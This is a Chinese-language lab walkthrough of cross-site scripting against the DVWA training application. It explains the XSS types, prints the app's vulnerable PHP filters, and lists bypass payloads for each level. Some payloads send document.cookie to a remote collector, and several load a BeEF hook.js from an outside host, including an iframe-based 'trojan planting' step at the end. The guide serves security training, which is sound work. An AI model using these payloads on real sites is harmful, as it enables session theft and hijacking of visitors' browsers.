目录描述
定义
Cross-site scripting (XSS):跨站脚本是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
类型
存储型(持久型)
跨站脚本可注入服务器的文件系统或数据库–引诱用户访问相关链接(貌似被用户信任的网站)–被攻击用户访问相关页面(采用特定URL参数)时,恶意代码下载到浏览器并执行。
反射型(非持久型)
跨站脚本包含在向网站提交内容的相关字段中–该字段将被服务器在返回页面中包含,相关字段中的跨站脚本将在浏览器端执行。–被攻击用户访问被精心设计的链接(貌似被用户信任的网站,参数被精心设计),服务器返回页面后相关恶意代码被执行。
DOM型
在客户端运行的JavaScript,会调用DOM(document object model文档对象模型)的内容–可将跨站脚本隐藏在DOM对象中,可让JS读到参数,却不传入服务端程序(如location.hash获取地址栏中’#’以后的部分)–被攻击用户访问被精心设计的链接,服务器返回页面后,执行JavaScript,调用被嵌入跨站脚本的DOM对象,相关恶意代码被执行
常用标签与js方法
标签
<iframe>
#iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。
<textarea>
#标签定义多行的文本输入控件。
文本区中可容纳无限数量的文本,其中的文本的默认字体是等宽字体(通常是 Courier)。
可以通过 cols 和 rows 属性来规定 textarea 的尺寸
<img>
#嵌入一幅图片
<script>
#用于定义客户端脚本,比如javascipt。
script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件。
必需的 type 属性规定脚本的 MIME 类型。
JavaScript 的常见应用时图像操作、表单验证以及动态内容更新。
js方法
alert
#用于显示带有一条指定消息和一个 OK 按钮的警告框。
语法
alert(message)
window.location
#用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面。
window.location 对象在编写时可不使用 window 这个前缀。例如:
location.hostname 返回 web 主机的域名
location.pathname 返回当前页面的路径和文件名
location.port 返回 web 主机的端口 (80 或 443)
location.protocol 返回所使用的 web 协议(http: 或 https:)
location.href 返回当前页面的 URL
location.pathname 属性返回 URL 的路径名
onload
#onload 通常用于 <body> 元素,在页面完全载入后(包括图片、css文件等等。)执行脚本代码
onsubmit
#onsubmit 事件会在表单中的确认按钮被点击时发生
onerror
#当视频的媒体数据加载期间发生错误时执行
常见xss脚本
弹窗
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<script>alert('xss')</script>
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向
<script>window.location="http://www.baidu.com"</script>
弹框警告并重定向(先弹窗再跳转)
<script>alert(1);window.location="http://www.baidu.com"</script>
访问恶意代码(结合BeEF)
<script src="http://192.168.72.145:3000/hook.js"></script>
low级别
DOM与反射性都是修改url,存储型在信息中放入xss脚本
reflected
源代码
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
测试是否有xss漏洞
<scrpit>alert(1)</script>
产生弹窗
获得cookie
<script>alert(document.cookie)</script>
DOM
<?php
# No protections, anything goes
?>
在url中添加js脚本
http://10.12.202.19/dvwa/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
stored
在信息中插入xss脚本
medium级别
reflected
查看反射型的源代码,可以看出将<script>
替换成""
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
绕过方法
1)大小写绕过<script>
HTML标签,而HTML不区分大小写
<Script src="http://192.168.72.145:3000/hook.js"></Script>
2)双写组合过滤条件绕过
<scr<script>ipt>alert('sss')</script>
3)使用URL编码,规避”广谱“型script搜索
<img src="1" one rror="new Image().src= 'http://192.168.232.132/get_cookie.php?cookie=' + encodeURI(document.cookie);"></img>
#把所有的’t’编码,但是可能在涉及数据库存储型XSS中不一定奏效
3)其他标签
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<body onl oad=alert('xss')>
<a href='' onclick=alert('xss')>click</a>
</option></select><img src='' one rror=alert(1)>
DOM
直接过滤掉了<script>
标签,用其他标签
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
首先尝试<iframe src=http://www.baidu.com width=0 height=0 border=0>
发现语句嵌入到<select name="default">
下的<option>
中
尝试闭合
</option></select><iframe src=http://www.baidu.com width=0 height=0 border=0>
可以看到代码插入到了页面中,但是没有弹窗,使用其他语句尝试
获取cookie
</option></select><svg/onload=alert(document.cookie)>
</option></select><img src='' one rror=alert(document.cookie)>
stored
源代码如下:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
查看源代码,发现有如下函数
strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符包括单引号(')双引号(")反斜杠(\)NULL
htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
massage参数中有htmlspecialchars
与strip_tags
,无法注入,而name只进行了<script>
的过滤,因此进行name参数的注入
绕过方法同reflacted
high级别
reflacted
源代码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
此关对<script>
进行了严苛的过滤,但其他标签仍然能够使用,如:
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<body onl oad=alert('xss')>
<a href='' onclick=alert('xss')>click</a>
</option></select><img src='' one rror=alert(1)>
DOM
源代码如下:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
该题使用分支选择语句,要求只能在给定的分支选择,如果与给定的不匹配,就执行默认值
本题利用#来绕过,在url中#后边的内容不会发送到服务端,从而可以实现绕过。
#<script>alert(1)</script>
#<script>alert(document.cookie)</script>
#<script src="http://192.168.72.145:3000/hook.js"></script>
stored
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
name只严格过滤了<script>
,其他标签仍然可以注入
方法参照反射型
high级别下访问beef
新建一个htm文件,内容如下:
<html>
<script src="http://192.168.72.145:3000/hook.js"></script>
</html>
接着将该文件放入本地网站根目录下,使用如下xss脚本
<iframe src=http://192.168.72.1/1.htm width=300 height=300></iframe>
即可挂马